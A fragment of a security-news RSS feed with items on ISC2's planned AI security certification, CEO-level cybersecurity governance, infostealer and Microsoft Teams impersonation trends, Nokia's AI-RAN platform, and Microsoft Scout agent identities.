<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691226/it-security-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Infostealer Logs Became the Fuel Behind Massive Cloud Data Breaches]]></title>
<description><![CDATA[Infostealer malware has quietly become the single most important initial-access commodity in the cybercrime economy, replacing traditional phishing and exploit-driven intrusions as the leading precursor to enterprise breaches and ransomware. Rather than breaking into networks, modern threat actor...]]></description>
<link>https://tsecurity.de/de/3691221/it-security-nachrichten/how-infostealer-logs-became-the-fuel-behind-massive-cloud-data-breaches/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691221/it-security-nachrichten/how-infostealer-logs-became-the-fuel-behind-massive-cloud-data-breaches/</guid>
<pubDate>Fri, 24 Jul 2026 12:08:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has quietly become the single most important initial-access commodity in the cybercrime economy, replacing traditional phishing and exploit-driven intrusions as the leading precursor to enterprise breaches and ransomware. Rather than breaking into networks, modern threat actors buy their…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-infostealer-logs-became-the-fuel-behind-massive-cloud-data-breaches/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-infostealer-logs-became-the-fuel-behind-massive-cloud-data-breaches/">How Infostealer Logs Became the Fuel Behind Massive Cloud Data Breaches</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Infostealer Logs Became the Fuel Behind Massive Cloud Data Breaches]]></title>
<description><![CDATA[Infostealer malware has quietly become the single most important initial-access commodity in the cybercrime economy, replacing traditional phishing and exploit-driven intrusions as the leading precursor to enterprise breaches and ransomware. Rather than breaking into networks, modern threat actor...]]></description>
<link>https://tsecurity.de/de/3691057/it-security-nachrichten/how-infostealer-logs-became-the-fuel-behind-massive-cloud-data-breaches/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691057/it-security-nachrichten/how-infostealer-logs-became-the-fuel-behind-massive-cloud-data-breaches/</guid>
<pubDate>Fri, 24 Jul 2026 10:58:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has quietly become the single most important initial-access commodity in the cybercrime economy, replacing traditional phishing and exploit-driven intrusions as the leading precursor to enterprise breaches and ransomware. Rather than breaking into networks, modern threat actors buy their way in by purchasing “stealer logs” containing valid usernames, passwords, session cookies, and SSO tokens […]</p>
<p>The post <a href="https://cybersecuritynews.com/how-infostealer-logs-became-the-fuel/">How Infostealer Logs Became the Fuel Behind Massive Cloud Data Breaches</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access]]></title>
<description><![CDATA[Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape...]]></description>
<link>https://tsecurity.de/de/3690838/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690838/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</guid>
<pubDate>Fri, 24 Jul 2026 08:40:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/">Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access]]></title>
<description><![CDATA[Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape...]]></description>
<link>https://tsecurity.de/de/3690814/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690814/it-security-nachrichten/attackers-abuse-microsoft-teams-to-impersonate-it-support-and-steal-corporate-access/</guid>
<pubDate>Fri, 24 Jul 2026 08:26:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Attackers are increasingly abusing Microsoft Teams to impersonate internal IT support and trick employees into handing over remote access and corporate credentials, even as traditional email phishing volumes tied to major platforms like Tycoon2FA decline. Microsoft’s recent email threat landscape data for Q2 2026 shows a sharp downstream impact from the March disruption of the […]</p>
<p>The post <a href="https://gbhackers.com/microsoft-teams-abused-2/">Attackers Abuse Microsoft Teams to Impersonate IT Support and Steal Corporate Access</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Secure Autopilot Agents: How Microsoft Scout uses Entra Agent IDs]]></title>
<description><![CDATA[As Microsoft Scout takes on more autonomous tasks, securing these operations is crucial. Unlike traditional AI assistants, Scout works independently by accessing approved resources and completing workflows. Microsoft has introduced Entra Agent IDs, a dedicated identity for autonomous agents, to e...]]></description>
<link>https://tsecurity.de/de/3690501/windows-tipps/secure-autopilot-agents-how-microsoft-scout-uses-entra-agent-ids/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690501/windows-tipps/secure-autopilot-agents-how-microsoft-scout-uses-entra-agent-ids/</guid>
<pubDate>Fri, 24 Jul 2026 02:47:23 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="300" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/microsoft-secure-entra-agent-diagram.jpg" class="attachment-full size-full wp-post-image" alt="Secure Microsoft Scout with Entra Agent IDs" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/microsoft-secure-entra-agent-diagram.jpg 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/microsoft-secure-entra-agent-diagram-500x214.jpg 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/microsoft-secure-entra-agent-diagram-300x129.jpg 300w" sizes="(max-width: 700px) 100vw, 700px">As Microsoft Scout takes on more autonomous tasks, securing these operations is crucial. Unlike traditional AI assistants, Scout works independently by accessing approved resources and completing workflows. Microsoft has introduced Entra Agent IDs, a dedicated identity for autonomous agents, to enhance security. This, alongside Microsoft Purview sensitivity labels and role-based permissions, allows organizations to control […]</p>
<p>This article <a href="https://www.thewindowsclub.com/secure-autopilot-agents-how-microsoft-scout-uses-entra-agent-ids">Secure Autopilot Agents: How Microsoft Scout uses Entra Agent IDs</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Niri could redefine tiling window management]]></title>
<description><![CDATA[I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those.  Then there is Niri. For anyon...]]></description>
<link>https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/</guid>
<pubDate>Fri, 24 Jul 2026 00:45:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
